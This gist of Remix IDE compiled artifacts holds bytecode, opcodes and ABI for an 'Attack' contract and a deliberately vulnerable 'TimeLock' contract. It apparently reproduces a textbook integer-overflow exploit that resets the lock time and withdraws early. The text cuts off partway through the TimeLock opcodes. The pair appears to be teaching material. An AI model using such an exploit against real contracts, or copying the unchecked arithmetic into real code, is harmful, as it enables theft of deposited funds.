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vyorkin/README.txt

Created March 7, 2022 16:41
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Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.7.6+commit.7338295f.js&optimize=false&runs=200&gist=
Raw
README.txt
REMIX EXAMPLE PROJECT
Remix example project is present when Remix loads for the very first time or there are no files existing in the File Explorer.
It contains 3 directories:
1. 'contracts': Holds three contracts with different complexity level, denoted with number prefix in file name.
2. 'scripts': Holds two scripts to deploy a contract. It is explained below.
3. 'tests': Contains one test file for 'Ballot' contract with unit tests in Solidity.
SCRIPTS
The 'scripts' folder contains example async/await scripts for deploying the 'Storage' contract.
For the deployment of any other contract, 'contractName' and 'constructorArgs' should be updated (along with other code if required).
Scripts have full access to the web3.js and ethers.js libraries.
To run a script, right click on file name in the file explorer and click 'Run'. Remember, Solidity file must already be compiled.
Output from script will appear in remix terminal.
Raw
contracts...artifacts...Attack.json
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"generatedSources": [],
"linkReferences": {},
"object": "608060405234801561001057600080fd5b5060405161036d38038061036d8339818101604052602081101561003357600080fd5b8101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506102d9806100946000396000f3fe6080604052600436106100225760003560e01c80639e5faafc1461002557610023565b5b005b61002d61002f565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b15801561009757600080fd5b505af11580156100ab573d6000803e3d6000fd5b505050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166379af55e460008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a4beda63306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561017357600080fd5b505afa158015610187573d6000803e3d6000fd5b505050506040513d602081101561019d57600080fd5b810190808051906020019092919050505060017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff01036040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561020957600080fd5b505af115801561021d573d6000803e3d6000fd5b5050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633ccfd60b6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561028957600080fd5b505af115801561029d573d6000803e3d6000fd5b5050505056fea2646970667358221220bfcae27ab4204542deb699f05d8bc252cdef4e1c482ff1e0118e86739d9e084d64736f6c63430007060033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x40 MLOAD PUSH2 0x36D CODESIZE SUB DUP1 PUSH2 0x36D DUP4 CODECOPY DUP2 DUP2 ADD PUSH1 0x40 MSTORE PUSH1 0x20 DUP2 LT ISZERO PUSH2 0x33 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP2 ADD SWAP1 DUP1 DUP1 MLOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP DUP1 PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP POP PUSH2 0x2D9 DUP1 PUSH2 0x94 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x22 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0x25 JUMPI PUSH2 0x23 JUMP JUMPDEST JUMPDEST STOP JUMPDEST PUSH2 0x2D PUSH2 0x2F JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xD0E30DB0 CALLVALUE PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x97 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0xAB JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x79AF55E4 PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xA4BEDA63 ADDRESS PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD DUP1 DUP3 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x20 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP7 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x173 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS STATICCALL ISZERO DUP1 ISZERO PUSH2 0x187 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP PUSH1 0x40 MLOAD RETURNDATASIZE PUSH1 0x20 DUP2 LT ISZERO PUSH2 0x19D JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP2 ADD SWAP1 DUP1 DUP1 MLOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH1 0x1 PUSH32 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ADD SUB PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x209 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x21D JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x3CCFD60B PUSH1 0x40 MLOAD DUP2 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x289 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x29D JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xBF 0xCA 0xE2 PUSH27 0xB4204542DEB699F05D8BC252CDEF4E1C482FF1E0118E86739D9E08 0x4D PUSH5 0x736F6C6343 STOP SMOD MOD STOP CALLER ",
"sourceMap": "83:603:0:-:0;;;129:79;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;191:9;171:8;;:30;;;;;;;;;;;;;;;;;;129:79;83:603;;;;;;"
},
"deployedBytecode": {
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "6080604052600436106100225760003560e01c80639e5faafc1461002557610023565b5b005b61002d61002f565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b15801561009757600080fd5b505af11580156100ab573d6000803e3d6000fd5b505050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166379af55e460008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a4beda63306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561017357600080fd5b505afa158015610187573d6000803e3d6000fd5b505050506040513d602081101561019d57600080fd5b810190808051906020019092919050505060017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff01036040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561020957600080fd5b505af115801561021d573d6000803e3d6000fd5b5050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633ccfd60b6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561028957600080fd5b505af115801561029d573d6000803e3d6000fd5b5050505056fea2646970667358221220bfcae27ab4204542deb699f05d8bc252cdef4e1c482ff1e0118e86739d9e084d64736f6c63430007060033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x22 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0x25 JUMPI PUSH2 0x23 JUMP JUMPDEST JUMPDEST STOP JUMPDEST PUSH2 0x2D PUSH2 0x2F JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xD0E30DB0 CALLVALUE PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x97 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0xAB JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x79AF55E4 PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xA4BEDA63 ADDRESS PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD DUP1 DUP3 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x20 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP7 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x173 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS STATICCALL ISZERO DUP1 ISZERO PUSH2 0x187 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP PUSH1 0x40 MLOAD RETURNDATASIZE PUSH1 0x20 DUP2 LT ISZERO PUSH2 0x19D JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP2 ADD SWAP1 DUP1 DUP1 MLOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH1 0x1 PUSH32 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ADD SUB PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x209 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x21D JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x3CCFD60B PUSH1 0x40 MLOAD DUP2 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x289 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x29D JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xBF 0xCA 0xE2 PUSH27 0xB4204542DEB699F05D8BC252CDEF4E1C482FF1E0118E86739D9E08 0x4D PUSH5 0x736F6C6343 STOP SMOD MOD STOP CALLER ",
"sourceMap": "83:603:0:-:0;;;;;;;;;;;;;;;;;;;;;;250:434;;;:::i;:::-;;;293:8;;;;;;;;;;:16;;;317:9;293:36;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;546:8;;;;;;;;;;:25;;;606:8;;;;;;;;;;:17;;;632:4;606:32;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;602:1;585:14;:18;:53;546:102;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;658:8;;;;;;;;;;:17;;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;250:434::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "145800",
"executionCost": "infinite",
"totalCost": "infinite"
},
"external": {
"": "85",
"attack()": "infinite"
}
},
"methodIdentifiers": {
"attack()": "9e5faafc"
}
},
"abi": [
{
"inputs": [
{
"internalType": "contract TimeLock",
"name": "_timeLock",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"stateMutability": "payable",
"type": "fallback"
},
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "payable",
"type": "function"
}
]
}
Raw
contracts...artifacts...Attack_metadata.json
{
"compiler": {
"version": "0.7.6+commit.7338295f"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [
{
"internalType": "contract TimeLock",
"name": "_timeLock",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"stateMutability": "payable",
"type": "fallback"
},
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "payable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/Attack.sol": "Attack"
},
"evmVersion": "istanbul",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/Attack.sol": {
"keccak256": "0x0ce5162765ec7d1644d1fb8dd23142cb64dbe3a882ce80ab1d53abaff72d3273",
"license": "MIT",
"urls": [
"bzz-raw://ec5884973bccfc3c92ab5d6ef5c0d7f9d6c44b0548c4ac497e349c00e6f050d9",
"dweb:/ipfs/QmcXMWkTu24F9mfrmL18k2tFoj1S1B1CycFtqPJnmZRVg1"
]
},
"contracts/TimeLock.sol": {
"keccak256": "0xa03877db18363e55c5a779c4b6051471172e41fdb5f42e6c1f6b828ed5ceb422",
"license": "MIT",
"urls": [
"bzz-raw://b8730c1967586b7e9d445295bf719e382056cef37f5131b3bbcc9153e3d5894e",
"dweb:/ipfs/QmWjRyb68Jau3KAhgjqBPL2h1Uiu6eZaSthBdv7YXzNQ9n"
]
}
},
"version": 1
}
Raw
contracts...artifacts...TimeLock.json
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"generatedSources": [],
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50610591806100206000396000f3fe60806040526004361061004a5760003560e01c806327e235e31461004f5780633ccfd60b146100b457806379af55e4146100cb578063a4beda6314610106578063d0e30db01461016b575b600080fd5b34801561005b57600080fd5b5061009e6004803603602081101561007257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610175565b6040518082815260200191505060405180910390f35b3480156100c057600080fd5b506100c961018d565b005b3480156100d757600080fd5b50610104600480360360208110156100ee57600080fd5b810190808035906020019092919050505061045c565b005b34801561011257600080fd5b506101556004803603602081101561012957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104ac565b6040518082815260200191505060405180910390f35b6101736104c4565b005b60006020528060005260406000206000915090505481565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610241576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f496e73756666696369656e742066756e6473000000000000000000000000000081525060200191505060405180910390fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442116102f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4c6f636b2074696d65206e6f742065787069726564000000000000000000000081525060200191505060405180910390fd5b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060003373ffffffffffffffffffffffffffffffffffffffff168260405180600001905060006040518083038185875af1925050503d80600081146103dc576040519150601f19603f3d011682016040523d82523d6000602084013e6103e1565b606091505b5050905080610458576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4661696c656420746f2073656e6420457468657200000000000000000000000081525060200191505060405180910390fd5b5050565b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555050565b60016020528060005260406000206000915090505481565b346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555062093a804201600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555056fea2646970667358221220e67b93a5f38cbe6040627023b88e51db3eb8d9dfdf2e595fd5d7f65607cbbdaf64736f6c63430007060033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x591 DUP1 PUSH2 0x20 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x4A JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x27E235E3 EQ PUSH2 0x4F JUMPI DUP1 PUSH4 0x3CCFD60B EQ PUSH2 0xB4 JUMPI DUP1 PUSH4 0x79AF55E4 EQ PUSH2 0xCB JUMPI DUP1 PUSH4 0xA4BEDA63 EQ PUSH2 0x106 JUMPI DUP1 PUSH4 0xD0E30DB0 EQ PUSH2 0x16B JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x5B JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x9E PUSH1 0x4 DUP1 CALLDATASIZE SUB PUSH1 0x20 DUP2 LT ISZERO PUSH2 0x72 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x175 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xC0 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xC9 PUSH2 0x18D JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xD7 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x104 PUSH1 0x4 DUP1 CALLDATASIZE SUB PUSH1 0x20 DUP2 LT ISZERO PUSH2 0xEE JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x45C JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x112 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x155 PUSH1 0x4 DUP1 CALLDATASIZE SUB PUSH1 0x20 DUP2 LT ISZERO PUSH2 0x129 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x4AC JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x173 PUSH2 0x4C4 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD GT PUSH2 0x241 JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD DUP1 DUP1 PUSH1 0x20 ADD DUP3 DUP2 SUB DUP3 MSTORE PUSH1 0x12 DUP2 MSTORE PUSH1 0x20 ADD DUP1 PUSH32 0x496E73756666696369656E742066756E64730000000000000000000000000000 DUP2 MSTORE POP PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD TIMESTAMP GT PUSH2 0x2F5 JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD DUP1 DUP1 PUSH1 0x20 ADD DUP3 DUP2 SUB DUP3 MSTORE PUSH1 0x15 DUP2 MSTORE PUSH1 0x20 ADD DUP1 PUSH32 0x4C6F636B2074696D65206E6F7420657870697265640000000000000000000000 DUP2 MSTORE POP PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD SWAP1 POP PUSH1 0x0 DUP1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP3 PUSH1 0x40 MLOAD DUP1 PUSH1 0x0 ADD SWAP1 POP PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP8 GAS CALL SWAP3 POP POP POP RETURNDATASIZE DUP1 PUSH1 0x0 DUP2 EQ PUSH2 0x3DC JUMPI PUSH1 0x40 MLOAD SWAP2 POP PUSH1 0x1F NOT PUSH1 0x3F RETURNDATASIZE ADD AND DUP3 ADD PUSH1 0x40 MSTORE RETURNDATASIZE DUP3 MSTORE RETURNDATASIZE PUSH1 